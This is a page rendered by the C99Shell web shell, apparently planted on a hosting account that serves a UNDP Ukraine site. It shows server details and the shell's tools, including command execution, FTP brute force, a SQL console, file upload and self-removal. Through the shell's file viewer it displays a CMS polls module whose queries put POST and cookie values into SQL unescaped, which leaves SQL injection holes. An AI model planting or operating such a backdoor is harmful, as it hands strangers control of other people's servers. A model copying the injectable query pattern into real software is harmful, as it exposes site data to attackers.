!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/msdp.undp.org.ua/modules/polls/   drwxr-xr-x
Free 106.2 GB of 200.55 GB (52.95%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     module.php (11.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?

class Polls
{
    var 
$UserMode   true;
    var 
$AdminMode  false;
    var 
$SearchMode false;
    var 
$PanelMode  true;
    var 
$Table;
    var 
$UserTable;
    var 
$Directory;
    var 
$UserAsynchMode true;
    var 
$AdminAsynchMode true;
    var 
$ClassName 'Polls';
    function 
Polls()
    {
        
$this->Directory dirname(__FILE__);
        
$this->Table = new AMTable2('AMCMS_polls');
        
$this->Table->AddIndexField('poll_id');
        
$this->Table->AddPositionField("poll_position");
        
$this->Table->Module($this->ClassName);
    }
    function 
GetPollForm($poll_id)
    {    
        global 
$ULANG$ulang;
        
$row $this->Table->GetRowById($poll_id);    
        if (
$row['poll_state'] == 'N')
            return 
$this->GetResultForm($poll_id);
        
$row['poll_results']      = json_decode($row['poll_results'], true);
        
$row['poll_answers_ukr'] = json_decode($row['poll_answers_ukr'], true);
        
$row['poll_answers_rus'] = json_decode($row['poll_answers_rus'], true);
        
$row['poll_answers_eng'] = json_decode($row['poll_answers_eng'], true);
        
$smarty GetUserSmarty($this->ClassName);
        
$smarty->assign("row"$row);
        
$html $smarty->fetch("form.tpl");
        return 
$html;
    }
    function 
GetResultForm($poll_id)
    {
        global 
$ULANG$ulang;
        
$row $this->Table->GetRowById($poll_id);
        
$row['poll_results']      = json_decode($row['poll_results'], true);
        
$row['poll_answers_ukr'] = json_decode($row['poll_answers_ukr'], true);
        
$row['poll_answers_eng'] = json_decode($row['poll_answers_eng'], true);
        
$row['poll_answers_rus'] = json_decode($row['poll_answers_rus'], true);        
        
$summa array_sum($row['poll_results']);
        
$max   max($row['poll_results']);
        
$index 0;
        foreach(
$row['poll_results'] as $key => $value)
        {
            
$row['poll_results'][$key]    = (int)$row['poll_results'][$key];
            
$row['poll_percents'][$key]   = round($row['poll_results'][$key] / $summa 1002);
            
$row['poll_bar_widths'][$key] = round($row['poll_results'][$key] / $max 1000);
            
$row['poll_image_index'][$key] = $index 10 1;
            if (
$row['poll_bar_widths'][$key] == 0)
                
$row['poll_bar_widths'][$key] = 2;
            
$index++;
        }
        
$smarty GetUserSmarty($this->ClassName);
        
$smarty->assign("row"$row);
        
$smarty->assign("display_back_button""yes");
        if (
$row['poll_state'] == 'N')
            
$smarty->assign("display_back_button""no");
        if (!
$this->IsVisitorAccepted($poll_id))
            
$smarty->assign("display_back_button""no");
        
$html $smarty->fetch("results.tpl");
        return 
$html;
    }
    function 
User()
    {                
         global 
$ulang$ULANG;
        
$smarty GetUserSmarty($this->ClassName);
        if (isset(
$_GET['list']))
        {    
            
$rows $this->Table->GetRows();    
            
$smarty->assign("rows"$rows);            
            
$result['Content'] = $smarty->fetch("pollslist.tpl");
            
$navigator = new AMNavigator();
            
$navigator->AddLink(GetParam('ModulePolls'$ulang), "/polls");
            
$result['Title'] = GetParam('ModulePolls'$ulang);
            
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
            
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
            
$result['Module'] = $this->ClassName;
            
$result['Print'] = true;    
            return 
$result;
        }
        if (isset(
$_GET['poll_id']))
        {
            
$row $this->Table->GetRowById($_GET['poll_id']);
            if (
$row == null)
                return;            
            if (
$this->IsVisitorAccepted($_GET['poll_id']))
                
$result['Content'] = $this->GetPollForm($_GET['poll_id'], $language"UserPoll");
            else         
                 
$result['Content'] = $this->GetResultForm($_GET['poll_id'], $language"UserPoll");            
            
$navigator = new AMNavigator();
            
$navigator->AddLink(GetParam('ModulePolls'$ulang), "/polls");
            
$navigator->AddLink($row['poll_question_'.$ulang], "/polls/".$row['poll_id']);
            
$result['Title'] = $row['poll_question_'.$ulang];
            
$result['GlobalParams']['Navigator'] = $navigator->Fetch();
            
$result['GlobalParams']['PageTitle'] = $navigator->GetTitleForPage();
            
$result['Module'] = $this->ClassName;
            
$result['Print'] = true;    
            return 
$result;            
        }
    }    
    function 
Menu()
    {
        global 
$ALANG;
        return array(
                array(
'title' => $ALANG['PollsMenuAdd'],    'link' => '?mod='.$this->ClassName.'&add'),
                array(
'title' => $ALANG['PollsMenuList'],   'link' => '?mod='.$this->ClassName.'&list'),
                array(
'title' => $ALANG['PollsMenuSelect'], 'link' => '?mod='.$this->ClassName.'&select'),
                );
    }

    function 
Admin()
    {
            global 
$ALANG$alang;
            
$smarty GetAdminSmarty($this->ClassName);
    
            if (isset(
$_GET['select']))
            {
                if (isset(
$_GET['select'])&& isset($_POST['poll_id']))
                {
                    
mysql_query("UPDATE AMCMS_polls SET poll_active = 'N'");
                    
mysql_query("UPDATE AMCMS_polls SET poll_active = 'Y' WHERE poll_id = '{$_POST['poll_id']}'");
                }                
                
$rows $this->Table->GetRows();
                
$result['Title']     = $ALANG['PollsSelect'];
                
$html  '<form name="poll" method="post">';
                
$html .= '<div style="text-align:center;">';
                
$html .= '<select name="poll_id">';
                foreach(
$rows as $key => $value)
                {
                    
$selected '';
                    if (
$value['poll_active'] == 'Y')
                        
$selected ' selected="selected" ';
                    
$html .= '<option '.$selected.' value="'.$value['poll_id'].'">'.$value['poll_question_'.GetParam("DefaultLanguage")] .'</option>';            
                }
                
$html .= '</select>';
                
$html .= ' <input type="submit" value="'.$ALANG['CoreSelect'].'" />';
                
$html .= '</div>';
                
$html .= '</form>';
                
$result['Content']       = $html;
                return 
$result;                
            }        
            if (isset(
$_GET['list']))
            {    
                
$fields     = array("poll_question_".GetParam("DefaultLanguage"));
                
$captions   = array($ALANG['Polls_poll_question']);
//                $conditions = "announcement_type = '1'";
                
$order        "poll_position DESC";
                
$links         = array("checkbox""delete""edit");
                
$multiple     = array("delete");
                
$params     = array("sortable" => "yes""id" => "polls");
                
$html $this->Table->GetAdminTable($fields$captions$conditions$order$links$multiple$params);            
                        
                
$result['Title']     = $ALANG['PollsList'];
                
$result['Content']  = $html;
                return 
$result;
            }
            if (isset(
$_GET['add']))
            {
                if (isset(
$_POST['add']))
                {                    
                    unset(
$_POST['poll_results'][0]);
                    unset(
$_POST['poll_answers_ukr'][0]);
                    unset(
$_POST['poll_answers_eng'][0]);
                    unset(
$_POST['poll_answers_rus'][0]);

                    
$_POST['poll_results']        = addslashes(json_encode($_POST['poll_results']));
                    
$_POST['poll_answers_ukr'] = addslashes(json_encode($_POST['poll_answers_ukr']));
                    
$_POST['poll_answers_eng'] = addslashes(json_encode($_POST['poll_answers_eng']));
                    
$_POST['poll_answers_rus'] = addslashes(json_encode($_POST['poll_answers_rus']));
                    
$_POST['poll_date_of_creation'] = GetCurrentDateAndTime();
                    
$id $this->Table->Insert($_POST);
                    
header("Location: ?mod=".$this->ClassName."&list")    ;
                }                        
                
$row['poll_results'][0] = "";
                
$row['poll_answers_ukr'][0] = "";
                
$row['poll_answers_eng'][0] = "";
                
$row['poll_answers_rus'][0] = "";                    
                foreach(
$row as $key => $value)
                    
$smarty->assign($key$value);                                            
                  
$smarty->assign('oper''add');
                  
$smarty->assign('poll_state'"Y");
                  
$result['Title']     = $ALANG['PollsAdd'];
                  
$result['Content']     = $smarty->fetch('poll.tpl');
                return 
$result;
            }
            if (isset(
$_GET['edit']) && isset($_GET['poll_id']))
            {
                if (isset(
$_POST['edit']))
                {
                    unset(
$_POST['poll_results'][0]);
                    unset(
$_POST['poll_answers_ukr'][0]);
                    unset(
$_POST['poll_answers_eng'][0]);
                    unset(
$_POST['poll_answers_rus'][0]);
                    
$_POST['poll_results']        = addslashes(json_encode($_POST['poll_results']));
                    
$_POST['poll_answers_ukr'] = addslashes(json_encode($_POST['poll_answers_ukr']));
                    
$_POST['poll_answers_eng'] = addslashes(json_encode($_POST['poll_answers_eng']));
                    
$_POST['poll_answers_rus'] = addslashes(json_encode($_POST['poll_answers_rus']));
                    
$error $this->Table->Update($_POST$_GET['poll_id']);
                    
header("Location: ?mod=".$this->ClassName."&list");
                }                
                
$row $this->Table->GetRowById($_GET['poll_id']);
                
$row['poll_results']      = json_decode($row['poll_results'], true);
                
$row['poll_answers_ukr'] = json_decode($row['poll_answers_ukr'], true);
                
$row['poll_answers_eng'] = json_decode($row['poll_answers_eng'], true);
                
$row['poll_answers_rus'] = json_decode($row['poll_answers_rus'], true);
                foreach(
$row as $key => $value)
                    
$smarty->assign($key$value);
                
$smarty->assign('oper''edit');                  
                  
$result['pagename']     = $ALANG['PollEdition'];
                  
$result['pagetitle']     = $ALANG['PollEdition'];
                  
$result['Content']         = $smarty->fetch('poll.tpl');
                  return 
$result;                    
            }
    }    
    function 
IsVisitorAccepted($poll_id)
    {
        if (!isset(
$_COOKIE) || !isset($_COOKIE['uid']))
            return;
        
$uid $_COOKIE['uid'];
        
$date GetCurrentYear()."-".GetCurrentMonth()."-".GetCurrentDay()." 00:00:00";
        
$res mysql_query("SELECT * FROM AMCMS_polls_users WHERE (poll_visitor_uid = '$uid') AND (poll_id = '{$poll_id}') AND (poll_datetime >= '{$date}')");
        if (
mysql_num_rows($res) > 0)
            return 
false;
        else 
            return 
true;
    }
    function 
VisitorVote($poll_id$poll_answer)
    {
/*            if (!$this->IsVisitorAccepted($poll_id))
                return;*/
            
$uid $_COOKIE['uid'];
            
$row $this->Table->GetRowById($poll_id);
            
$date GetCurrentDateAndTime();
            
$values json_decode($row['poll_results'], true);
            
$values[$poll_answer]++;
            
$values json_encode($values);
            
mysql_query("UPDATE AMCMS_polls SET poll_results = '{$values}' WHERE poll_id='{$poll_id}'");    
            
mysql_query("INSERT INTO AMCMS_polls_users (poll_visitor_uid, poll_id, poll_datetime) VALUES ('{$uid}', '$poll_id', '$date')");
    }
    function 
UserAsynch()
    {        
        global 
$ULANG$ulang;
        if (isset(
$_POST['poll_id']) && isset($_POST['vote']))
        {
            
$poll_answer $_POST['poll_answer'];
            if (
$poll_answer 1)
            {
                
$res["status"]  = "error";
                
$res["message"] = $ULANG["PollsVoteError1"];
                echo 
json_encode($res);
                die;
            }
            
$res["status"] = "ok";
            
$this->VisitorVote($_POST['poll_id'], $poll_answer);
            echo 
json_encode($res);
            die;
        }
        if (isset(
$_POST['poll_id']) && isset($_POST['results']))
        {
            echo 
$this->GetResultForm($_POST['poll_id']);
            die;
        }
        if (isset(
$_POST['poll_id']) && isset($_POST['form']))
        {
            echo 
$this->GetPollForm($_POST['poll_id']);
            die;
        }
/*        if (isset($_POST['poll_id']) && isset($_POST['poll_answer']))
        {
        }
        if (isset($_GET['poll_id'])&& isset($_GET['poll_results']))
        {
             echo $this->GetResultForm($_GET['poll_id'], $language, $_GET['dest']);
        }
        if (isset($_GET['poll_id'])&& isset($_GET['poll']))
        {
             echo $this->IsVisitorAccepted($_GET['poll_id']) ? $this->GetPollForm($_GET['poll_id'], $language, $_GET['dest']) :         
         $this->GetResultForm($_GET['poll_id'], $language, $_GET['dest']);        
        }*/
    
}
    function 
GetActivePoll()
    {
        
$res mysql_query("SELECT * FROM AMCMS_polls WHERE (poll_active='Y')");
        if (
mysql_num_rows($res) == 0)
            return 
0;
        else
            return 
mysql_fetch_assoc($res);
    }
    function 
Panel()
    {
        global 
$ULANG$ulang;
        
$row $this->GetActivePoll();
        
$result['Polls'] = array('Title' => GetParam("Module".$this->ClassName."Panel"$ulang),
                     
'Content' => ($this->IsVisitorAccepted($row['poll_id']) ? $this->GetPollForm($row['poll_id']) : $this->GetResultForm($row['poll_id'])), 
                     
"Module" => $this->ClassName,
                    
'class' => 'ask'
                    
);
        return 
$result;
    }
    function 
AdminAsynch()
    {
        global 
$ALANG;
        
$this->Table->Run($_POST);
    }    


$Modules ["Polls"] = new Polls();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0112 ]--